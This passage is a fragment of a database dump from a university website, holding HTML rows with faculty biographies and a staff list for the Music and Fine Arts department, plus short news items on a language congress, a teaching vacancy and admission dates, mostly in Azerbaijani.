Verlişləri Şirkətinin Niyazi adına Simfonik orkestri, eləcə də Səid Rüstəmov adına Xalq Çalğı alətləri orkestrinin müşayəti ilə solo konsertlərdə dəfələrlə iştirak etmiş və lentə alınmışdır.1993-cü ildə Azərbaycan Dövlət və İncəsənət Muzeyində solo konserti keçirilmişdir.1996-cı ildə görkəmli pianoçu Fəridə Quliyevanın 70 illik yubileyinə həsr olunmuş gecədə Azərbaycan Xalq artisti prof. Rauf Abdullayevin rəhbərliyi ilə M.F.Axundov adına Azərbaycan Dövlət Opera və balet teatrının simfonik orkestrinin müşayəti ilə çıxış etmişdir.2004 &nbsp;ildə Azərbaycandakı Almaniya səfirliyinin təşəbbüsü ilə &nbsp;Alman mədəniyyət mərkəzində solo konserti keçirilmişdir.2002-ci ildə Mədəniyyət Nazirliyinin təşkil etdiyi böyük bəstəkarımız Fikrət Əmirovun yubileyinə həsr olunmuş tədbirdə Azərbaycan Dövlət filarmoniyasının Xalq Çalğı alətlərinin müşayəti ilə solo ifa etmişdir.2008-ci ildə dekabr ayının 26-da Müslüm Maqomayev adına Azərbaycan dövlət filarmoniyasında Azərbaycanın Xalq artisti prof. Rauf Abdullayevin rəhbərliyi altında Ü. Hacşbəyov adına Azərbaycan Dövlət Simfonik orkestrinin müşayəti ilə solo konsertlə çıxış etmiş, eyni&nbsp; zamanda CD albomun təqdimatı keçirilmişdir.Zülfiyyə Sadıqova 1991-ci ildə Qazaxıstan Respublikasının Alma-Ata şəhərində Qazaxıstan Dövlət konservatoriyasının kamera zalında solo konsertlə çıxış etmişdir.1997-ci ildə rəsmi nümayəndə heyəti ilə dünya şöhrətli müğənni Müslüm Maqomayevin Moskva şəhərində keçirilən yubiley gecəsində iştirak etmiş, həmin ildə Böyük Britaniya və Şimali İrlandiya krallığının paytaxtı olan London şəhərində görkəmli bəstəkar Tofiq Quliyevin yubiley gecəsində iştirak etmişdir.1998-ci ildə&nbsp; London şəhərində Azərbaycan Mədəniyyəti günlərində bir sıra konsertlərdə çıxış etmişdir.2001-ci ildə Norveçin Stovanger&nbsp; şəhərində, 2002-ci ildə Norveçin&nbsp; Bogen şəhərində Beynəlxalq festivalda iştirak etmişdir.2003-cü ildə İran İslam Respublikasının Tehran, Təbriz, Kirvanşah şəhərlərində konsertlərlə çıxış etmişdir.2004-cü ildə Moskva şəhərində Heydər Əliyevə həsr olunmuş gecədə SSRİ xalq artisti Murat&nbsp;&nbsp;&nbsp; Kajlayevin rəhbərliyi ilə S.Raxmaninov&nbsp; adına konsert salonunda çıxış etmişdir.2006-cı ildə Gürcüstan Respublikasının Tibilisi şəhərində Azərbaycan respublikasının müstəqilliyinə həsr olunmuş gecədə iştirak etmişdir.2007-ci ildə Tibilisi şəhərində Azərbaycan Respublikasının Səfirliyi tərəfindən solo konserti keçirilmişdir.2008-ci ildə Dağıstan respublikasının Mahaçqala şəhərində “Bakı gecələri” adlı konsertdə çıxış etmişdir.2008-ci ildə Qırğızıstan Respulikasının Bişlkek şəhərində Heydər Əliyev Fondu tərəfindən təşkil olunmuş H. Əliyevin 80, akademik Mir Cəlal Paşayevin 100 illik yubiley gecəsində&nbsp; çıxış etmişdir.2008-ci ilin noyabr ayında Rusiyanın Yekaterinburq şəhərində beynəlxalq festivalda iştirak etmişdir.2009-cu ildə Dağıstan Respublkasının Mahaçqala şəhərindəMurad&nbsp; Kojlayev adına &nbsp;musiqi məktəbinin açılışına həsr olunmuş Beynəlxalq festivalda solo konsertlə çıxış etmişdir.2011-ci ilin may ayında İtaliyanın Roma şəhərində Akademia Nazionale di Sonto Ceciliya konsert salonunda solo proqramla çıxış etmişdir.2013-cü ilin may ayının 9-da Fransada solo konsertlə çıxış etmişdir.2014-cü ilin mart ayının 7-də Böyük Britaniyanın London şəhərində solo konsertlə çıxış etmişdir.2014-cü ilin noyabr ayının 17-21 tarixlərində Türkiyənin Ankara şəhərində Haccetepe Universitetinin konservatoriyasında solo proqramla çıxış etmişdir.2015-cü ilin mart ayının 12-17 Türkiyənin Qəhrəmanmaraş və Kayseri şəhərlərində solo proqramla çıxış etmişdir.</p><p></p><div><br></div><br></div>'),(1037,658,'az','Professor-müəllim və işçi heyəti','Professor-müəllim və işçi heyəti','<div><br></div><div><strong><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong></strong></div><p><strong><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>&nbsp;&nbsp;</strong>  <br></p><div><br></div><div><br></div><p><img src=\"/files/music_depart/images/zulfiyya_sadigova.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/625/zulfiyya_sadigova\"><strong>Zülfiyyə</strong><strong>&nbsp; Sadıqova</strong></a><strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><img src=\"http://www.khazar.org/files/image/afaq-6.jpg\" style=\"border:0px #0000ee;width:150px;height:172px;margin:7px;float:left\"></a></strong><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong>Afaq</strong><strong>&nbsp;Kərimova</strong></a><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><img src=\"http://www.khazar.org/files/image/13_05_17_arif.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Arif</strong><strong>&nbsp;Babaye</strong><strong>v<br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><br><strong></strong></a><strong><a href=\"http://www.khazar.org/en/menus/630/fidan_haciyeva\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><img src=\"http://www.khazar.org/files/image/14_02_11_fidan_haciyeva.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:223px\"><strong></strong></a><strong><a href=\"http://www.khazar.org/en/menus/630/fidan_haciyeva\">Fidan&nbsp;</a></strong><strong><a href=\"http://www.khazar.org/en/menus/630/fidan_haciyeva\">Hacıyeva</a></strong><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\"><br></a></strong></p><p><img src=\"http://www.khazar.org/files/image/14_09_30_Khuraman.jpg\" style=\"width:150px;height:238px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\">Xuraman</a></strong><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\">&nbsp; Məmmədova</a></strong>&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/13_05_17_mirnazim.jpg\" style=\"width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/629/mirnazim_asadullayev\"><strong>Mirnazim</strong><strong>&nbsp; Əsədullayev</strong><br></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/13_05_17_mehseti.JPG\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/en/menus/629/mirnazim_asadullayev\"></a><a href=\"http://www.khazar.org/en/menus/628/mehseti_jabbarova\"><strong>Məhsət </strong><strong>Cabbarova<br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/628/mehseti_jabbarova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/628/mehseti_jabbarova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/628/mehseti_jabbarova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/628/mehseti_jabbarova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/634/telman_aliyev\"><br><img src=\"http://www.khazar.org/files/image/TELMAN%20ELIYEV.JPG\" style=\"width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong></strong><strong>Telman</strong><strong>&nbsp; Əliyev</strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/13_05_17_ramin.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/en/menus/633/_ramin_rzayev\"><strong>Ramin Rzayev</strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/SEBNE%20MINASAZVA.jpg\" style=\"width:150px;height:127px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/631/sabina_minasazova\"><strong>Səbinə&nbsp;</strong><strong>Minasazova</strong> <br></a></p><p><a href=\"http://www.khazar.org/en/menus/631/sabina_minasazova\"><br></a></p><p><a href=\"http://www.khazar.org/en/menus/631/sabina_minasazova\"><br></a></p><p><a href=\"http://www.khazar.org/en/menus/631/sabina_minasazova\"><br></a></p><p><img src=\"http://www.khazar.org/files/image/YEGANE%20AXUNOVA.jpg\" style=\"float:left;width:150px;height:214px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong>Yeganə </strong><strong>Axundova<br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong></strong></a><img src=\"http://www.khazar.org/files/image/13_05_17_munevver.jpg\" style=\"float:left;width:150px;height:178px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\">Münəvvər&nbsp;</a></strong><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\">Səmədova</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\">Aydan</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"> Hü</a></strong><img src=\"http://www.khazar.org/files/image/aydan%2C%2C%2C.JPG\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\">seynli</a></strong><strong></strong><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><img src=\"http://www.khazar.org/files/image/ilqar....JPG\" style=\"width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\">İlqar Rzayev<br></a></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\"><img src=\"http://www.khazar.org/files/image/ali_ivanov...JPG\" style=\"float:left;width:150px;height:100px;margin-left:7px;margin-right:7px;margin-bottom:7px\">  Ali</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\">&nbsp;İvanov</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><img src=\"http://www.khazar.org/files/image/aleksandra_ivanova%2C%2C.JPG\" style=\"width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\">Aleksandra </a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\">İvanova<br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%C9%99srin%20cv.doc\"><img src=\"http://www.khazar.org/files/image/nezrin_rzayeva...JPG\" style=\"float:left;width:150px;height:100px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">Nəsrin</a></strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">&nbsp;</a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">Rzayeva</a></strong></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%C9%99ziyev%20%20cv.doc\"><img src=\"http://www.khazar.org/files/image/elxan_heziyev.JPG\" style=\"float:left;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%23U0259ziyev%20%20cv.doc\">Elxan</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%23U0259ziyev%20%20cv.doc\">&nbsp;Həziyev<br></a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/F%C9%99rid%20Abasov%20cv.doc\"><img src=\"http://www.khazar.org/files/image/ferid_abbasov...JPG\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><strong>Fərid</strong><strong>&nbsp; Abasov</strong><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><br></a></p><p><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/P%C9%99rviz%20B%C9%99d%C9%99lov%20%20cv.doc\"><img src=\"http://www.khazar.org/files/image/perviz_bedelov...JPG\" style=\"float:left;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><a href=\"http://www.khazar.org/files/pdf/P%23U0259rviz%20B%23U0259d%23U0259lov%20%20cv.doc\"><strong>Pərviz</strong><strong>&nbsp; Bədəlov<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/raksana_madanova%2C%2C%2C.JPG\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:223px\"><strong><a href=\"http://www.khazar.org/files/pdf/Reksane_Madanova_cv.pdf\">Rəksanə</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Reksane_Madanova_cv.pdf\">&nbsp;Madanova</a></strong><br></p>'),(4468,2649,'az','Xəzər Universitetinin müəllimi Türk dili qurultayında iştirak etdi','2017-ci il noyabrın 13-dən 16-dək Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi filologiya üzrə fəlsəfə doktoru...','<p>2017-ci il noyabrın 13-dən 16-dək Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi filologiya üzrə fəlsəfə doktoru Qətibə Mahmudova Türkiyənin Ankara şəhərində, Türkiyə Cümhuriyyətinin Prezidenti Rəcəb Tayyib Ərdoğanın himayəsi ilə keçirilən “Türk dilində danışan ölkələr” qurultayında iştirak etdi. Azərbaycan, Türkiyə, Qazaxıstan, Tatarıstan, Yakutiya, Türkmənistan, Özbəkistan və digər ölkələrdən olan alimlərin&nbsp;məruzələrinin əsas mövzusu ortaq türkcə və ortaq termin məsələləri idi. Xəzər Universitetinin müəllimi Q.Mahmudova qurultayda “Müasir Azərbaycan dilində ingiliscədən alınmalar” mövzusunda məruzə ilə çıxış etdi.</p>'),(4469,2650,'az','Vakansiya: Kompüter Elmləri və Kompüter Mühəndisliyi departamenti müəllim axtarır','Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər fakültəsi, Kompüter Elmləri və Kompüter Mühəndisliyi departamenti 2018-ci il yaz semestri dövründə əsas...','<p>Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər fakültəsi, Kompüter Elmləri və Kompüter Mühəndisliyi departamenti 2018-ci il yaz semestri dövründə əsas fənlərin (Data Structures, Computer Organization, Operations Research, Introduction to Theory of Computation, Introduction to Compilers, Operating Systems, Information Security, Computer Graphics) tədrisi üçün vakant yerlərə namizədlər axtarır. Kompüter elmləri, kompüter mühəndisliyi sahələrində magistr və ya doktorluq dərəcəsi olan şəxslər müraciət edə bilərlər. Mühəndislik və Tətbiqi Elmlər fakültəsində tədris dili ingiliscədir. Maraqlananlar öz CV-lərini Kompüter Elmləri və Mühəndisliyi departamentinin koordinatoru Dr. Məhəmməd Şərifova göndərə bilərlər: <a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a>.</p><p><strong>Son müraciət tarixi <em>2018-ci il yanvarın 31-dir</em></strong>.</p>'),(2083,1278,'en','Admission to Vacant posts for Graduate programs ','The admission started for graduate program’s vacant posts at Khazar university for 2016/2017 academic year...','<p>The admission started for graduate program’s vacant posts at Khazar \r\nuniversity for 2016/2017 academic year. The admission is conducted on a \r\ncompetitive basis according to the points gained during entry exams from\r\n 06 March to 05 June 2016.  </p><p>The bachelor degree students, for \r\nparticipating in the competition for vacant posts have to enter the \r\nrelated page of SASC web site (eservices.tqdk.gov.az/erizemag/ixtisas2) \r\nfrom 08 August 2016 10:00 to 14 August 2016 23:59, and have to enter and\r\n confirm the codes of the selected specialties in the “Bachelor \r\nelectronic specialty selection application”. </p><p>The list of vacant posts has been published on page 6 of SASC’s “Master” journal.  </p>'),(2084,1279,'az','Bakalavr səviyyəsinə qəbul olmaq istəyən abituriyentlər üçün ixtisas seçimi ','2016-2017-ci tədris ilində Xəzər universitetinə qəbul olmaq istəyən abituriyentlər üçün ixtisas seçimi davam edir...','<p>2016-2017-ci tədris ilində Xəzər universitetinə qəbul olmaq istəyən \r\nabituriyentlər üçün ixtisas seçimi davam edir. İxtisas seçimi iyulun \r\n29-dan avqustun 10-dək internet vasitəsilə aparılır. Xəzər \r\nuniversitetinə qəbul olan tələbələrin siyahısı avqust ayının 15-də məlum\r\n olacaq. Qəbul olan tələbələrin ali məktəbdə qeydiyyatı isə 15-25 avqust\r\n aralığında aparılacaq. </p>'),(1038,660,'en','Afaq Karimova','Afaq Karimova','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong><strong>THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>  <br></p><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/Afaq_Kerimova_CV.doc\"><img src=\"/files/image/afaq-5-2016.jpg\" style=\"width:150px;height:151px;margin:7px;float:left\"><br></a></div><p><a href=\"http://www.khazar.org/files/pdf/Afaq_Kerimova_CV.pdf\">Afaq&nbsp;Kerimova</a></p><p>Karimova Afag AbulfazWas born in Baku city.Had graduated school of Arts named after Azim Azimzade in 1976.Had graduated Azerbaijan State Institue of Art in 1985.Had worked in Azerkhalcha production unitu as head artist during 1990-1995.Had worked in literature museum named after N.Ganjavi Azerbaijan Republic S.A as head artist during 1995-2013Her works are demonstrated in Azerbaijan State museum of ArtLiterature museum named after “Nizami”Memorial house of U. HajibeyovMemorial house of H.JavidMemorial house of S.VurgunMemorial house of S.YeseninAmerika, Turkey, Spain, France, Germany and others foreign countires  </p><div><div style=\"font-family:\'times new roman\', times, serif\"><p style=\"font-size:medium\"><strong><br></strong></p><div><strong><br></strong></div></div>  <br></div>'),(1039,660,'az','Afaq Kərimova','Afaq Kərimova','<div><br></div><div><br><br><div><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></div><p><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR&nbsp;</strong><br></p><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/afaq-5-2016.jpg\" style=\"width:150px;height:151px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/pdf/Afaq_Kerimova_CV.pdf\">Afaq&nbsp;Kerimova</a><br></div><div><br></div><p>Afaq Kərimova&nbsp;Bakı Şəhərində anadan olmuşdur. 1976-cı ildə Əzim Əzimzadə adına Azərbaycan Dövlət Rəssamlıq məktəbini bitirmişdir.1985-ci ildə Azərbaycan Dövlət İncəsənət İnstitutunu bitirmişdir.1990-1995-ci illərdə “Azərxalça” istehsalat birliyində baş rəssam vəzifəsində çalışır.1995-2003-cü illərdə Azərbaycan Respublikası MEA. N.Gəncəvi Adına Ədəbiyyat muzeyində baş rəssam və şöbə müdiri vəzifəsində çalışmışdır.Eyni zamanda (1997-2005) Hüseyn Cavidmuzeyinin yaradılmasında ilk tərtibatçı rəssam olmuşdur.Azərbaycan Dövlət İncəsənət muzeyində, “Nizami” adına Ədəbiyyat muzeyində , Hüseyn Cavidin ev muzeyində,Səməd Vurğunun ev muzeyində,Sergey Yesenion ev muzeyində,Azərbaycan bölgələrindəki- Bakı, Gəncə,Şəmkir, Yevlax, Lənkəran, və .s “Heydər Əliyev” muzeylərində və bir sıra xarici ölkələrdə (ABŞ,Türkiyə,İspaniya,Fransa ə s.)&nbsp;əsərləri daimi eksponant kimi nümayiş etdirilir.1997-ci ildən&nbsp; Azərbaycan Respublikası Rəssamlar İttifaqının üzvüdür.Respublika və xarici ölkələrdə keçirilən sərgilərin iştirakçısıdır.</p><p>2014-2015 ci illərdə Nizami Gəncəvinin yubileyi münasibəti ilə (Heydər Əliyev Mərkəzinin sifarişi ilə) “5 Xəmsə” batikləri YUNESKO xətti ilə\r\nFransanın Paris, Kann, Reyms, Luvr, Strasburg şəhərlərində sərgilənmiş, hazırda\r\nParisdə Azərbaycan mədəniyyəti mərkəzinin daimi exsponatıdır. 2015 ci ildə\r\ndünya şöhrətli şairə Məhsəti Gəncəvinin yubileyi münasibəti ilə dövlət sifarişi\r\nilə toxunmuş “Məhsəti” xalçası Gəncə Məhsəti muzeyinin daimi eksponatıdır. </p><p>Heydər Əliyev fondunun sifarişi\r\nilə işlənmiş Məhsəti süjetli batiki Parisdə Azərbaycan Mədəniyyəti mərkəzinin\r\ndaimi eksponatıdır. Hər iki əsər&nbsp;\r\n2014-2015 ci il ərzində YUNESKO xətti ilə Fransanın Paris, Luvr, Kann,\r\nReyms, Strasburg şəhərlərində sərgilənmişdir.</p>\r\n<p>2015 – ci ildə \"Azərbaycan tarixi\r\nvə memarlığı rəssamların gözü ilə\"&nbsp;tələbələrin Republika rəsm müsabiqəsində A.Kərimovanın\r\nXəzər Universitetindən iki tələbəsi 1 –ci və 3-cü yerlərin mükafatçıları\r\nolmuşdur.</p>\r\n<p>2015-ci ildə S. Eseninin 120\r\nillik yubiley münasibəti ilə Rəssamlar İttifaqının keçirdiyi Respublika sərgisində\r\n3-lük süjetli batiklərlə iştirak etmiş və Rus İcmasının təşəkkürnamə və hədiyyəsini qazanmışdır.</p>\r\n<p>2016-cı ildə Avrasiya Akademiyasının üzvlərinə\r\nverilən “Avrasiya Əfsanəsi”</p>\r\n<p>Mükafatının və\r\nAvrasiya Akademiyası medallarının dizaynı üzrə müsabiqənin qalibi olmuşdur.</p>  <p><br></p><br><br>  <br></div>'),(1040,661,'az','Arif Babayev','Arif Babayev','<div><br></div><div><br></div><div><div><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong></div><div><strong><br></strong></div><p><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>&nbsp;<br></p><div><br></div><div><br></div><p><img src=\"http://www.khazar.org/files/image/13_05_17_arif.jpg\" style=\"width:150px;height:194px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/pdf/Arif_Babayev_CV.pdf\">Arif Babayev</a></p><p>Arif&nbsp; Babayev İmran 